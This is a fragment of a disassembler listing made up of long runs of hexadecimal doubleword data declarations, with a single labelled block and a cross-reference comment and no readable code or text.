		dd 0B838604Ah, 25801E04h, 2608EEE3h, 0C7828100h, 6C92E060h
		dd 0DCFB8A98h, 0D9085824h, 2598936Ch, 45E8F2B0h, 0D30C28CCh
		dd 6868F08Dh, 0D5B76A0Bh, 889024ABh, 1F8837A1h,	42910CE8h
		dd 3B3033F9h, 62D22B3Fh, 0F5C3D128h, 0FABCC480h, 90BA4Eh
		dd 17ED2C16h, 0E7E56CA1h, 0F8D4B3ECh, 0A4FA87h,	0E2F5A185h
		dd 634BC01Eh, 0D3D18100h, 54B08BA7h, 7860F156h,	0B0B7601Ch
		dd 0C58E4852h, 4B40F00h, 3A10A15Bh, 8022003Fh, 68B14BD9h
		dd 9800BB43h, 3BDA3E8Ch, 0EEA7C50h, 66C334AAh, 28A12349h
		dd 685EC46Ah, 0D11D0E0Ch, 0E0DE28Dh, 1848C0F7h,	92F4B121h
		dd 0BF8E7FFh, 8324096Ch, 9957D00h, 0B52CF350h, 523BF421h
		dd 0B2F4600Fh, 0C0B37129h, 0A02EC428h, 1E6FA8CBh, 0F2682958h
		dd 5A7A0719h, 20F5E659h, 7C61587Bh, 6003A906h, 9878EB12h
		dd 78B89F24h, 86EEA92Bh, 0F760353Dh, 0C5FFB8C0h, 56C7B9Fh
		dd 63A24148h, 2DAAC111h, 3AC032D6h, 87E214B7h, 8F94409Ch
		dd 0A166E903h, 481262Ch, 0E5CA75C8h, 85A8C44Ah,	3F44A5C0h
		dd 52E41044h, 0E8EE7504h, 805424DCh, 120808ACh,	0B84403C6h
		dd 65E0D7FFh, 2B174C9Bh, 4C4BB619h, 289478B9h, 9C4CDE2Dh
		dd 0B74761C0h, 3410A806h, 80C21E20h, 81E6DAA4h,	80446CF2h
		dd 4CF9EDFDh, 815D134Dh, 6B74CD03h, 5C69B444h, 0CD0574BCh
		dd 84C8906Fh, 0C421FFD6h, 4C6CE8A0h, 2685E910h,	0E210CCB9h
		dd 78105E3Eh, 562C1BC8h, 60908291h, 8244CD1Ch, 0E810FCC3h
		dd 0AD32BAEFh, 3C6376A1h, 811E7BE1h, 0F2E12528h, 0B85071A9h
		dd 9502565Dh, 0EA691082h, 8F007C7Ch, 547BB2F5h,	16D005Dh
		dd 787A670Ah, 0CC097596h, 0F712A69h, 3E3CA364h,	11CE042Bh
		dd 0EC8E349Fh, 55A70318h, 92FDB31Ah, 4A24D009h,	5AB080E3h
		dd 0E703E04Eh, 30C044D7h, 3C0DB0DBh, 25F491h, 60431DAEh
		dd 23F96E09h, 5CC1BC4Fh, 0F403E4F5h, 42709AB8h,	9806F30Eh
		dd 18C29C7h, 0E1D769A8h, 0A0A9C082h, 207E8276h,	0C02A2C85h
		dd 5C179C52h, 20C494C4h, 0CF2008A2h, 6FCC829Fh,	8DD42286h
		dd 0D4134222h, 8C2C0Ch,	9F9C8535h, 7E0E575h, 933E9000h
		dd 4CAF582h, 3FA7F59h, 5F1F3202h, 180057B7h, 64EA8687h
		dd 4960DEA9h, 0FB03A8B4h, 0FACCCF6Ch, 0B3B0C0D8h, 83D3A938h
		dd 642B74BBh, 0B0C84C5Dh, 0C450245Bh, 618CA5B0h, 301C3ACCh
		dd 0C42F8102h, 0C47E20h, 5A9619F7h, 0FC98CC0Dh,	0BB13025h
		dd 0E6D80147h, 34F4F9E8h, 0F83B1481h, 691208CEh, 3A38A1FCh
		dd 4CFDBC00h, 6FB0C35Bh, 2C045898h, 58CCBC55h, 4DBBC534h
		dd 886DDC81h, 39D15900h, 8D7CD20Eh, 278CE060h, 482DB5C3h
		dd 4A84BC8Eh, 31C42101h, 566017F7h, 0C0EA1FBDh,	0FA82FD9Ah
		dd 3B1848DAh, 0D9DE2A91h, 0B298A0BAh, 0A0862851h, 655E00B4h
		dd 0EAF59B89h, 5304997Bh, 7E2A416Bh, 5D70D0D7h,	0B014C0CFh
		dd 20A277E8h, 19BD4045h, 903C9E28h, 4AC679Fh, 0CB00AD08h
		dd 3C3D1CCEh, 40C1961h,	0A02CB1DEh, 0A710D2B8h,	0F40C4872h
		dd 0FA500E06h, 8FC504B5h, 9113C92Ch, 6A01D1C0h,	422C7071h
		dd 0B50C032Bh, 2BC183DCh, 5F087455h, 23561E2Ch,	5D095C26h
		dd 2870FBh, 6B3C5355h, 0F50D88D5h, 0B3BEE505h, 0ACECD35Dh
		dd 30B4216h, 534F4108h,	55ECE4C4h, 0F8B09C9Ah, 0B913FF13h
		dd 90B37494h, 69E12602h, 7872EBA1h, 53A69E01h, 0B66CEC21h
		dd 558F9E41h, 0A1D74C3Ch, 3A5832B0h, 5F9C02A7h,	0CA4C6966h
		dd 84C453F0h, 91AD492Ch, 0E081E6C0h, 0DC927532h, 2869DC0Ch
		dd 0F6A728E9h, 4A52F0ECh, 0CEC09016h, 6F3E5AD0h, 0E1C03A3Fh
		dd 8FAEB418h, 2417A0CBh, 0DEBC094Fh, 1471CFF1h,	73F9CB00h
		dd 3E0A626h, 0C3D6C609h, 90005807h, 1B6C44CEh, 0E3E03B6h
		dd 31279D3Ch, 1CD08B80h, 0B009D5A9h, 7AEA1E5Dh,	5C20F974h
		dd 0A82D58BDh, 89F46919h, 2EE065AAh, 0F4CDAC13h, 140532Ah
		dd 702CFE70h, 1A3062A5h, 0FA48307Bh, 4C11B5E8h,	9C802E44h
		dd 187005E2h, 10F2ECB4h, 0BD352Ch, 6956C508h, 0AC8B5542h
		dd 0AD09CCD7h, 51227864h, 1892957Eh, 2C11A489h,	213C30AAh
		dd 4C7CBE49h, 103C48FCh, 6A0CF182h, 0BFA029B3h,	0DAF803B5h
		dd 5D310947h, 0C0C00A93h, 0C604855Ah, 0BB948D0Dh, 0CD798C1h
		dd 4B76670h, 4E69BF75h,	1314B999h, 64A25C56h, 35E4700h
		dd 0A62179D5h, 8EC388C3h, 0E6B80B70h, 28C0D72Ch, 5097DD6Ch
		dd 275498FCh, 0CCC2AA2Bh, 30EC6C41h, 90953EEh, 10D96034h
		dd 5C436F00h, 0B6D7A8BEh, 0BB240120h, 67B1782Dh, 112E2898h
		dd 2B489A23h, 0F3B4440Eh, 3799B007h, 0D030A95Ah, 748E983Bh
		dd 852658AFh, 38AC0A5Eh, 0D8F51886h, 259F95D4h,	10C04730h
		dd 63BE6065h, 0DE218864h
		dd 8094E92Fh, 602D0AA4h, 4427603Fh, 684371B1h, 14D900Bh
		dd 0D2B5049Ch, 4FC1480h, 2A11C5Ch, 997F40D7h, 3CB7F5F4h
		dd 71EFAF48h, 0C4030A2Fh, 11F70010h, 0F042BABDh, 6A17FCB4h
		dd 0A00B5DC9h, 4E4C4CC4h, 81E864A2h, 7A82FA1Ch,	0D9D28C1Fh
		dd 0DED40CF1h, 20CD5EE5h, 0F33E5DACh, 808510D7h, 9D43E8A0h
		dd 45503C99h, 0FBF49234h, 0C98E9h, 5B2D0956h, 430C8F8h
		dd 9F080D49h, 0E802354h, 973A48EAh, 0BE5F54D0h,	2489983Bh
		dd 3EADB4h, 693C139Eh, 4B016FD2h, 53BEECC0h, 7830DAF2h
		dd 90D04B0Ch, 0E8602198h, 77CD6700h, 3265E51Fh,	0F2E704DDh
		dd 80C48C6Ch, 0D3B9FF64h, 2FFDC318h, 59D580h, 0C4ED817Ch
		dd 0CA1FA75Eh, 0E5471B07h, 0A0845504h, 84FD4081h, 2CA32903h
		dd 4800DBA2h, 0D741CFh,	96953B7Ch, 4B26F0FBh, 55C36017h
		dd 0DC8874C2h, 1F98264Ch, 0E3F70CC8h, 0F8BE4518h, 720CA984h
		dd 78028F8h, 8F658075h,	618D5D18h, 7FDD5F78h, 898C0030h
		dd 737E7981h, 0C3129B0Dh, 0E890E8FAh, 4C05097h,	69EB6BE9h
		dd 7960B831h, 2998FF25h, 0FE1C3268h, 70A15228h,	74AAC95Dh
		dd 437F7E08h, 127FAE6h,	0B9C4981Ah, 0E5C11625h,	0D9E50044h
		dd 4751DF04h, 0ED01B30Fh, 0A56603D1h, 0A60802D0h, 523E39A0h
		dd 0C409107Eh, 0F48CE12Ch, 75831838h, 0E19D69D9h, 9EB7F0CCh
		dd 3730C098h, 15E3956h,	4A9B02D5h, 0D1204BE9h, 74683076h
		dd 62686A41h, 0CEAC4885h, 0C000F86Ch, 0FB1BB611h, 0F269FA1Dh
		dd 3C409231h, 0A0185F66h, 0A9B490CDh, 29AA1D05h, 8CD184D0h
		dd 5A03B01Ch, 0A4438804h, 908E9889h, 2C06857Bh,	4B20CCACh
		dd 0F1C420F8h, 364A05A9h, 0F0D650B3h, 83B02854h, 60FF3200h
		dd 81B4A07Ch, 6054960Fh, 8FD3DE0Ah, 5057CA00h, 60318142h
		dd 486D6587h, 0C3E5C06Bh, 0C0E61921h, 79EAA090h, 452B661Eh
		dd 0A771BAD8h, 2E65826h, 0D3E46916h, 0C08DBB10h, 146D78D0h
		dd 0F25DE716h, 0BE2D48C1h, 0FB82C02Dh, 18705EE4h, 0A1D8CB4Ch
		dd 14634852h, 0F5A6B04h, 64B0B088h, 77001B5Dh, 30B5CC30h
		dd 82F92444h, 0B7DB0D8h, 0C34BC906h, 19FAA3h, 643BD4D6h
		dd 1DB03F8Ah, 0A6570300h, 0CDB744C1h, 6ED50067h, 17B6433Bh
		dd 5890EBDAh, 0F139703h, 0BA74BC29h, 840882B4h,	0CD9C6094h
		dd 53EE16CCh, 0C410804Dh, 819F7FF9h, 8560E05Ch,	0FF000068h
		dd 38C5E748h, 37EEDF01h, 0F50324B0h, 40D3E9CFh,	0DE1804C6h
		dd 0D8B19D58h, 0DD5B6AC8h, 0A8E0B0C5h, 0F5B700E5h, 5F8B86CAh
		dd 0A000170h, 98463F9Fh, 4B0BCBFDh, 0C43898A0h,	8FC8498h
		dd 9CAE0D01h, 17DADEBFh, 0B310206Bh, 7900A7BEh,	73973C34h
		dd 0EE9FC5h, 0A1C1F5B2h, 17BBCEFh, 0E6D0D10Fh, 0C01D6345h
		dd 0F78369h, 0BF634160h, 5EDBD182h, 1A2CF30Bh, 3F80B393h
		dd 0BC8048B8h, 62434111h, 0BE01DA09h, 2B9C8427h, 6C20406Eh
		dd 39B37C29h, 274C7C23h, 5AFBF450h, 803023BAh, 0AC6CA9A0h
		dd 8830FC82h, 2100434Fh, 7872EE41h, 4F7BF0C3h, 3F9C0B75h
		dd 1E0074D8h, 6B41FBDFh, 20A07BBh, 0A6978110h, 55135Dh
		dd 603AF330h, 0A9591D32h, 98F24809h, 0DA26E428h, 8C02F265h
		dd 0C6BB6EDEh, 0C3C51684h, 298407Fh, 958B26D1h,	815DE208h
		dd 384C27E7h, 0F89E98E4h, 54818FC2h, 0B8C46170h, 0FC109E96h
		dd 2DA6B600h, 950B5DA2h, 16E1001h, 0A4B46A0Eh, 82B60BF8h
		dd 1B80D0E6h, 568C4936h, 0CEF54800h, 0D3838D79h, 4090BAD1h
		dd 493B3B9Fh, 0DBA78741h, 48AD1D2Ch, 5585CC2h, 0DC822A5Dh
		dd 9B58F58h, 0CE5489C8h, 0CC324DD4h, 0AAB22200h, 69B179D1h
		dd 0A0144F35h, 0EF49A400h, 0C8BEBE7h, 0DAEA2B41h, 867AF30h
		dd 7D3424E2h, 5DA1DCA8h, 78012EA3h, 0D1666956h,	0F08118A7h
		dd 2ACF42E1h, 0FB756C80h, 0C5723069h, 935A4420h, 0D6CBD00Eh
		dd 7505A13Bh, 42F0DAD3h, 0FF1A0F97h, 1F823C39h,	4CC0D7F0h
		dd 0CA040C63h, 65BC35A0h, 809D0C4h, 1EC792Eh, 6A852A9Eh
		dd 0AC187E94h, 1679B2DEh, 1456844h, 4B24F6ACh, 7C22BBh
		dd 865E8801h, 3A0DF6Ch,	0CFF2C73Fh, 0E2DC6991h,	0B71F800Ch
		dd 5B2B50BAh, 75C8C0B1h, 0BE48E7BDh, 66CF8B80h,	4A2C2FA8h
		dd 7CB0C2h, 25C3A20Eh, 0D4034E75h, 16EA5BEFh, 80B02C60h
		dd 0ACC0B1A4h, 6829D703h, 55C44CDh, 0C3075510h,	7481AB3Ch
		dd 4C386757h, 9000C73Ah, 0C3039D82h, 7092B840h,	0D4D2D600h
		dd 0FB606B8Ah, 74B895D0h, 0A49E192Ch, 18FDC709h, 2860227Ch
		dd 0E8322Fh, 20EA3B8Fh,	6E3C9F46h, 98CAEC00h, 0FCF474DAh
		dd 0EF320B79h, 4206D00Eh, 0D4E140BEh, 0E602AAB1h, 6957EB9Ah
		dd 1C80DFA7h, 0F1FEDEBBh, 0B0FC82h, 2CF25FCAh, 88C9B3E9h
		dd 95F0F2D2h, 4C89EC1Ah, 6BFF9844h, 0B4F27401h,	69C85AADh
		dd 0CB8C2521h, 0C42F7CDCh, 53C4A018h, 0F16CB297h, 0F789986Dh
		dd 0E595F458h, 0C3CE8200h, 0D0A25073h, 985D0BC0h, 0BEE15BCh
		dd 684B1712h, 0EC055866h, 5B76C3C0h, 4F0FC040h,	0B087F033h
		dd 0F74B0020h, 0DF6A8B4Ch, 0E49EBC85h, 2E627BCh, 0E275A2C4h
		dd 0E04C0A00h, 52F7FF03h, 20FDEDFEh, 0C85E0C3Eh, 666206C8h
		dd 60748CD0h, 0BCBB0190h, 0BD6A7010h, 57C45C51h, 5E4C02E0h
		dd 607AE0F4h, 80648EE0h, 4F00CB02h, 6C3CE35Fh, 392CC659h
		dd 78AFDE3Bh, 0F7B3B0E0h, 1DE88B00h, 19A44F3Ch,	0B2A12C5Bh
		dd 68A1DFAh, 8899CB5Dh,	1080B131h, 0B90098F5h, 0D80C4AAEh
		dd 88E1B0C3h, 70DF645h,	4F971813h, 1D20BF4Ch, 0E5268DC9h
		dd 0A2065B13h, 0E1A6684Dh, 13508B2Ah, 6CDCA390h, 24644844h
		dd 0E613578Fh, 80FB2CF4h, 40B8F492h, 0A6DBDEA3h, 5B5F02D8h
		dd 143D6600h, 896244B5h, 0D2F558F2h, 9042D013h,	268056E4h
		dd 1B385558h, 80E8C266h, 76833307h, 585D25E5h, 773BC800h
		dd 0F2141B7Ch, 0AFDDABBh, 0BC380669h, 951CD007h, 0E175A34Fh
		dd 18DCC50Bh, 54665044h, 24C64F21h, 78C4DD10h, 0F6CBA2F4h
		dd 51D30180h, 802A7B69h, 89460870h, 0F5C393h, 0B8A3FEFh
		dd 0F948696Ch, 5EEC280h, 0CEAA26A0h, 3CBCEDACh,	0F01C0E1h
		dd 825EB2D2h, 0C4BA75C5h, 0F5080078h, 7CADCBE2h, 23694A0Ch
		dd 0C835091h, 0E4F1C438h, 0D53E07D0h, 1C905B6Fh, 0F8B2CDF9h
		dd 9C98747Fh, 0C3C9045Ch, 0DC8E077h, 55DB3C09h,	0E0470A0h
		dd 0C34E91FBh, 0D1902AACh, 0DE60040Ch, 0BF54F8E8h, 5DBE8890h
		dd 0B01F594Eh, 5D966909h, 0C9945C88h, 3E60488Fh, 0D1A2160Dh
		dd 819A4D00h, 0AE8E7AE8h, 0A4B0000Ch, 0BB13C366h, 381F1CB3h
		dd 0FD00B5EEh, 14E91188h, 6728C046h, 0D769DD0Fh, 8340BF6Fh
		dd 0A0F14EA4h, 0C878BBh, 54DE8295h, 0CA6B211Dh,	8100867Ch
		dd 7838DD68h, 38D0ABAh,	0A41DD202h, 383B0414h, 4600FF80h
		dd 7F970CB6h, 0CD86B86h, 45F46ABFh, 33E6940h, 22940054h
		dd 95487BBCh, 51A100A5h, 0D304F43Fh, 6B0E1015h,	6EBAF581h
		dd 50146Ah, 0CD0C8E44h,	30C2DEh, 424BC466h, 7EE37D95h
		dd 83681800h, 72A46EB9h, 0A90C01Eh, 534471D3h, 0D26D200h
		dd 0E940E882h, 3C6D0EADh, 7A8086A3h, 1417370Ch,	0E341FDF1h
		dd 73F8D9ABh, 0EE6130A4h, 0BA380549h, 0D6CD880h, 7667CB0Bh
		dd 0BB988660h, 69FC282h, 0CDD1A5D7h, 0BFF0B0A8h, 7C153DF0h
		dd 14B0FFA0h, 6CCCE4Ah,	2C3CD1D9h, 32697C90h, 0DB486CCAh
		dd 4DDE98A7h, 0B7980F8h, 0B36F8F3Ah, 1ED118D5h,	0A33560E0h
		dd 0D4F1DF01h, 36C105CAh
		dd 8BE7B040h, 17C4A4E3h, 56A0C86h, 31D13E2Fh, 36202F4h
		dd 4A65EFDAh, 3B1784C0h, 94E80148h, 41083A9h, 6EF080BBh
		dd 66ED463Eh, 0F8DB30A4h, 0C0FDA939h, 0A81C6A19h, 0F1804E78h
		dd 86A7973Bh, 0F660F2D1h, 320B6770h, 0D8480362h, 829C53ADh
		dd 0B1037800h, 8B12D052h, 4AB80002h, 0FD95713Bh, 0E81B6A48h
		dd 0C1C04B13h, 1081709Ch, 0B104F9BBh, 2D483021h, 0FD8470C1h
		dd 20805B28h, 700CBE43h, 0E660F8A4h, 38F50D30h,	536B180Eh
		dd 0DB51A80Ah, 9D98FA62h, 90D882CFh, 856B04DCh,	475C208Ch
		dd 900930Bh, 347364E6h,	0FBAF888h, 116CADABh, 0C67CD7C3h
		dd 784C96CCh, 3B29D03h,	0BB18D5h, 71A5C761h, 744C450Dh
		dd 4DF2000h, 80A418ADh,	3AA4A10Ah, 961AFE4h, 3F03D271h
		dd 3E7C0800h, 63646CBEh, 34159591h, 0CF3BCE00h,	705DD92Ch
		dd 37753C00h, 68B2638Fh, 557D07D6h, 0F0BBA50Bh,	1DE2F73h
		dd 0BA17AC00h, 0A794E780h, 90367C47h, 0A46430FBh, 0BE9E4D18h
		dd 9C053CECh, 17D4049Fh, 137EF480h, 0B83E60BAh,	871080CFh
		dd 4584DE09h, 0C140872h, 55FC4400h, 313E7AEh, 6E0BB5B9h
		dd 3CB6A0Ah, 0BE686050h, 37140709h, 0C1910016h,	0C48EAD6h
		dd 4CC9A365h, 0D012DC68h, 600F4D91h, 3A108E64h,	1F816018h
		dd 980360DEh, 0FC0B9543h, 7097F730h, 1FF06E7Bh,	802D9F94h
		dd 0A1D2EF77h, 4100C793h, 0DB8F1435h, 0C306FA4Fh, 0A4D69C58h
		dd 9E2ACCC1h, 0A61FF611h, 5C4B0807h, 0D0E0B580h, 9840E765h
		dd 71A4E69Ah, 907D0C43h, 6EE0D39Dh, 0F6D098A8h,	79485760h
		dd 30B8545h, 3A664368h,	4000BECDh, 55463B13h, 71FC2E2Bh
		dd 0C79E8h, 0F22C60F3h,	0F811D13Dh, 0C36DD900h,	7C944672h
		dd 51140057h, 55C2782Eh, 8903733Bh, 0D0F5755Eh,	158D6C7h
		dd 47854D17h, 8EEC94FCh, 0AC703D68h, 1F72D09Ah,	0FA09DE37h
		dd 2CBDA30Ah, 0D0D303A4h, 4002ED17h, 0B26A8D3Ch, 4FD0812Bh
		dd 904C0A7Eh, 219A20D0h, 68109E62h, 496886D7h, 0F8DEF8E8h
		dd 4379034Bh, 1E21D083h, 903C300Fh, 0DF1C0DBh, 0CF2FC66Ah
		dd 998E4560h, 15371C81h, 482302h, 0C7789A0Ah, 3385A194h
		dd 63384D26h, 60021B6h,	1098D215h, 0E94A3Bh, 0DDC5AB93h
		dd 0DC423AE4h, 0DA0A85F6h, 0D07AFE67h, 2EF12C2h, 0F4B008A5h
		dd 1D080ACEh, 9B2444Ah,	382056B6h, 0D4696243h, 6A3D74A0h
		dd 0C69AEA12h, 99FC0002h, 3B30600Ah, 7E45016Bh,	14D0AA5Fh
		dd 0CC3080FBh, 72ABD8FDh, 60BECEBh, 7F6A1317h, 0E905C80Dh
		dd 6374A3DAh, 0AB01C405h, 849A8022h, 288843B0h,	81BB60C5h
		dd 4FFF6A8Ah, 0D56828C4h, 6F6B288Ch, 0D08248EAh, 9401C45Dh
		dd 20BE85A6h, 37240901h, 93EC6D3Bh, 4007029h, 9C425DE8h
		dd 307BE6D2h, 433091F2h, 0CC050B8Dh, 407DF6BAh,	0BC001C35h
		dd 0B1370407h, 78D11454h, 72029843h, 1CEC453Dh,	2B6BBC82h
		dd 32129848h, 0CB379D00h, 5956940Ah, 88C451EBh,	0C8F40CF4h
		dd 4F414598h, 3894D175h, 3578809Ch, 11FEC4h, 0B37B3ABCh
		dd 46399DC5h, 18FCC845h, 3C685A8Ah, 339B0047h, 8E8DF39h
		dd 0D018D719h, 1440DACDh, 96AEA84h, 0E6D2BEFDh,	0A2415CA3h
		dd 0EC908CC4h, 612943E8h, 180AC8EDh, 0CBDB4BCh,	30440B84h
		dd 0DE173B1Ah, 0A33E12DCh, 35C061B0h, 0B03E642Ah, 0F1CDCD5h
		dd 8212CDD8h, 6015A2E7h, 757685Ch, 488F82DEh, 37434120h
		dd 7F1890BCh, 29040CC5h, 97085D8h, 0FC2418C8h, 89BB1C80h
		dd 2992004Ch, 5D87869h,	100CA66h, 0DDEDF1CEh, 0FEB094F4h
		dd 21170503h, 5A7A5A6Ah, 0D08A59B4h, 9721238h, 0C4030308h
		dd 56F86C3Bh, 701D824Eh, 0DF0215F2h, 0AA6877FCh, 0A901F8B4h
		dd 6D14DA24h, 17E4020h,	3FAE137Dh, 89EA1BFCh, 2584BFA0h
		dd 0AC090740h, 9AF80516h, 70490895h, 6924836Ah,	3E90F617h
		dd 2A0035ECh, 0D8930A1Bh, 20E120D0h, 22E79430h,	0D7011268h
		dd 70959834h, 0CC6C3EFh, 0F47E9A0h, 3568C0E1h, 2CD607F9h
		dd 910A201Ah, 0AAF20BEEh, 4DF6D8E0h, 3A315262h,	241C2070h
		dd 8C38B54h, 3B690DE9h,	0E5185C18h, 0C3280C71h,	23EB8007h
		dd 9FC35866h, 5E180734h, 76FFE801h, 5D0D0724h, 1E04C481h
		dd 830690C2h, 89F8ECh, 0C7BF243Ch, 16FF70Eh, 148BFB30h
		dd 0C0658CE9h, 0EB815F2Ah, 0A6305E4Fh, 5D470C04h, 7E29F89Ch
		dd 846E5C3h, 0C14840Ch,	6DD41F25h, 391FF00Ch, 0C2006AC1h
		dd 7DFB7746h, 4F503368h, 741004F7h, 1155414h, 5A4281D9h
		dd 6CB33328h, 0E90D0631h, 0A12A452Ah, 9678DA03h, 10148B03h
		dd 1E85061Ah, 40774FFh,	8D3A8F5Ah, 0F788E941h, 0FE01F8FBh
		dd 408AF05Fh, 0C7518137h, 0FC96EC39h, 0E426D1h,	5362B5BDh
		dd 0DC684D06h, 1C291925h, 83069B8Bh, 1C599B0h, 0D5F70780h
		dd 251FB850h, 0E979F406h, 3855BFh, 2399BE56h, 8146649Fh
		dd 4567E600h, 0EEC15E73h, 87563008h, 0E9D0F7B2h, 36766431h
		dd 168C8B66h, 0D9B85457h, 5A2F260h, 372C47B1h, 20324018h
		dd 2EAC35D8h, 29EB1200h, 0D58958C2h, 0CD31155Ah, 718A08Bh
		dd 0BB0F5710h, 7F9C58CFh, 2854D498h, 3A4591F8h,	810111A0h
		dd 0EF4733F5h, 0E9F3316Eh, 1A9498B0h, 5C098187h, 0FE825250h
		dd 0A283BE7Eh, 207A2821h, 0F24FDD04h, 4097421Dh, 284139E3h
		dd 0FED34457h, 4C08316Ch, 9F3D40DAh, 3C7F8B1Ch,	2BA49553h
		dd 0F4327F9Dh, 405EA4DEh, 3073953Ch, 960C4A83h,	650CCE3Dh
		dd 5F20F1E9h, 3FFD00F2h, 0D60102F5h, 3468875Ah,	0FAA3A3ACh
		dd 0E90C8318h, 1084FFD3h, 953E6858h, 8C985FC3h,	510153Ah
		dd 0C4223F0Eh, 4EFAA00Eh, 3159715Dh, 2CA2D801h,	800105F7h
		dd 113D35E0h, 5555B120h, 5DF908BDh, 765CBA21h, 33D9F983h
		dd 0A731BE42h, 368FFC1h, 22B353ACh, 0CAA067CAh,	685FFA01h
		dd 0A9C856F4h, 88DF0814h, 10EB5014h, 662AD321h,	256A1FFh
		dd 7D247EF1h, 787309B9h, 4D000ABFh, 5F1C57E5h, 81DEF700h
		dd 0DAB9D2C6h, 0F1290468h, 96C8315Eh, 50054DA5h, 1BE9E089h
		dd 1EBDA57h, 0BC628F4Ah, 0FDA0A879h, 8B680880h,	3EAB3A6Ch
		dd 52E97D55h, 1204D661h, 8670180Eh, 0FE01E3D3h,	804B2CC0h
		dd 0C7C12EEFh, 585097D7h, 72885259h, 5AD105FAh,	40EDF6E9h
		dd 5CF0C1BBh, 849818C0h, 249B02FAh, 669A314Ah, 35BB418Fh
		dd 60016800h, 6430059Ah, 0C8EFA18Bh, 43CA2836h,	94D841AAh
		dd 85DF05FEh, 602B951h,	4A59C829h, 28E341E5h, 56B900CEh
		dd 62663322h, 0EC03FF9Ch, 53AD3DE1h, 0DC0C26B1h, 417FE040h
		dd 61D24960h, 4EF2C64h,	8959CF31h, 209581FDh, 453E80F9h
		dd 8F37C581h, 214B2C0Dh, 505D4207h, 52D519Ah, 981109Bh
		dd 0E204D1C2h, 15DE951h, 4B0A4595h, 0EA6138Fh, 0B7513010h
		dd 6C2A9623h, 88C3809Bh, 10F0AB86h, 40070F33h, 93C5B98h
		dd 968488C0h, 77FF003Ch, 1D4BE91Ch, 0B9831BA9h,	37497C74h
		dd 0E7C10464h, 50805003h, 48092114h, 831C4E01h,	946E9D2Ah
		dd 0E986A5EEh, 31260F86h, 68C1CFE8h, 3C632148h,	70C70178h
		dd 0E7E909C2h, 1431326Fh, 18682ABFh, 0EBF31A2Dh, 0B1312CD0h
		dd 737B836Ch, 0C0E72B5h, 76EC170Ah, 81198C12h, 2F30C4EAh
		dd 5A740EE2h, 0CAC720F2h, 3DF000C6h, 144C2A68h,	70BFC02Ch
		dd 0C83B0912h, 0E52AE7BCh, 378BBA0Eh, 0C74D5FB3h, 56451BECh
		dd 66E27E0Fh, 764A1C3Dh, 0C41FFA47h, 93204F57h,	0FD305901h
		dd 505B1158h, 11E91854h
		dd 81594EF6h, 5742F306h, 10C3001h, 61D440A8h, 969718E9h
		dd 408E351h, 0EB280F15h, 0E46E6C6h, 3C102D1Dh, 328A759Eh
		dd 819351E1h, 0EC29F51Ch, 15A8C5BCh, 0F79340FDh, 0F100D17Eh
		dd 3A48ACDAh, 39D22Dh, 0BF575072h, 1F371C7Bh, 73CF812Ch
		dd 0E986901Dh, 1F817C74h, 3D3169E8h, 26841512h,	0FEDA65DFh
		dd 96A71386h, 174C9019h, 297733E9h, 487B3190h, 148E918h
		dd 1E44962Bh, 0BB00DB77h, 7D86313Bh, 290F779h, 30B1E405h
		dd 0FF092927h, 0E9AF215Ah, 0D2740A58h, 90037D8Bh, 165F4C89h
		dd 0B870780h, 0CB3F01AAh, 8B6D2C59h, 58C63081h,	1920F82Ch
		dd 74F19866h, 0B2C9CF4Ah, 327FE983h, 0EA9DB363h, 0C6CF210Ch
		dd 0B886A020h, 4D9AE654h, 0D04D66ECh, 381C7C3Ch, 0F3BD370Eh
		dd 0F989EFC2h, 0FB4B825Fh, 0A841E473h, 566F683Eh, 5A8CED07h
		dd 260063DCh, 0D9F70AE0h, 0B097C981h
dword_4E414C	dd 0E9270A7Bh, 492815CEh, 8F805229h, 198C49B9h,	0B563A390h
					; DATA XREF: ___:off_43A50Co
		dd 0D5290Dh, 0EBB5352h,	8935EB15h, 65D948h, 0E2407CB8h
		dd 12C1311Dh, 4765E958h, 72525F2Ah, 20687916h, 96C106EEh
		dd 2C0B0299h, 18833820h, 0C431B5Ch, 0D830357Dh,	744AAA14h
		dd 0C3A61ACh, 601D7ED5h, 53410D97h, 40159220h, 387D0C1Fh
		dd 6472E824h, 0F987D785h, 2651BB14h, 0C71E53C2h, 48F92A1Ch
		dd 5B150661h, 1E182D41h, 6CC078D6h, 19E0E2Dh, 132126E5h
		dd 0A98C05BDh, 80C610D6h, 26148B12h, 0E91A0D4Bh, 4D7623B1h
		dd 245C92EEh, 0B3127Fh,	0C534C29Eh, 50329670h, 605848F7h
		dd 0CBDD7D79h, 0C7818A6Ch, 8E5C8802h, 4F5B6608h, 0F6D94258h
		dd 34C7C0D0h, 0ABE93BA9h, 78983269h, 0ECB8CD01h, 315891A9h
		dd 0F3F03487h, 0C15CC79Ah, 0B668091Fh, 0C17F9B0Fh, 11906FDDh
		dd 2BC1134h, 0B801BE5Ch, 0E97D4645h, 0BB77B99Fh, 93A292C9h
		dd 0EB1E23CCh, 321B6800h, 0A64FAB96h, 0A4103BB4h, 96DA48E4h
		dd 0F0B0C580h, 16CCB316h, 0FAF5CB88h, 232F00EDh, 835E517Ch
		dd 749404C5h, 0E2CC18A4h, 391D6272h, 0ACCC5FF8h, 20C8F77Fh
		dd 0D350031h, 8964CB05h, 0A7B05790h, 0BE59E9EEh, 88A177ABh
		dd 1906AC33h, 92E608h, 9011B2BEh, 0FE4A311Eh, 0EEEC1A29h
		dd 93E9255Dh, 38425723h, 6858ED05h, 87612536h, 5850866Ah
		dd 0DF04C083h, 90D08BB7h, 0F4B5D098h, 9632B226h, 0C3014411h
		dd 50770568h, 0CC75205Eh, 53371503h, 387D3E9h, 142EBB24h
		dd 0AAD12DF2h, 68D940E3h, 1ECB5BB8h, 572AA754h,	24E4E1F3h
		dd 88DF011Eh, 5D1207F2h, 6A24B304h, 8724D0CAh, 0A15C185Bh
		dd 0CD4AB3E9h, 681A6E58h, 6EDA9457h, 9E55E766h,	1905A630h
		dd 99C281E2h, 5E60888Ch, 9E615C13h, 0E4483487h,	4BE43168h
		dd 34A572Fh, 0CBA41053h, 0D0833E91h, 9FD50CA3h,	3B2E025Dh
		dd 0E0310788h, 2C8A2DACh, 17713432h, 4BA1294h, 128DE32Ch
		dd 18835806h, 0F070888Ah, 0C78880DEh, 8F9CFDE4h, 5861E950h
		dd 34C4D44Bh, 6AF5E383h, 0EB61D38Bh, 8F39535Dh,	0C0F15B2Eh
		dd 7AE9F9F7h, 0B774FB60h, 90CF281Ch, 51264051h,	905AEB3h
		dd 0A891C4Fh, 0D284AC04h, 5BDA3541h, 0E438EA81h, 0C1391488h
		dd 0D0ACE409h, 0E0A20849h, 0B8595F01h, 5CD06CD9h, 34E87E29h
